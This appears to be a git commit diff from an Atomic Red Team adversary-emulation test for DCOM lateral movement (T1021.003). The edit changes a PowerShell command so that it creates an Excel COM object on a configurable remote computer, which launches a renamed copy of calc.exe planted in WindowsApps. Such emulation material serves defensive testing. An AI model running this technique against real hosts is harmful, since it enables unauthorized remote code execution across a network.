Update T1021.003.yaml

This commit is contained in:
Kostas
2023-11-02 20:22:49 -07:00
committed by GitHub
parent ab386927c8
commit 60fe9e1b3f
+1 -1
View File
@@ -58,6 +58,6 @@ atomic_tests:
executor:
command: |
copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
$com.ActivateMicrosoftApp("5")
name: powershell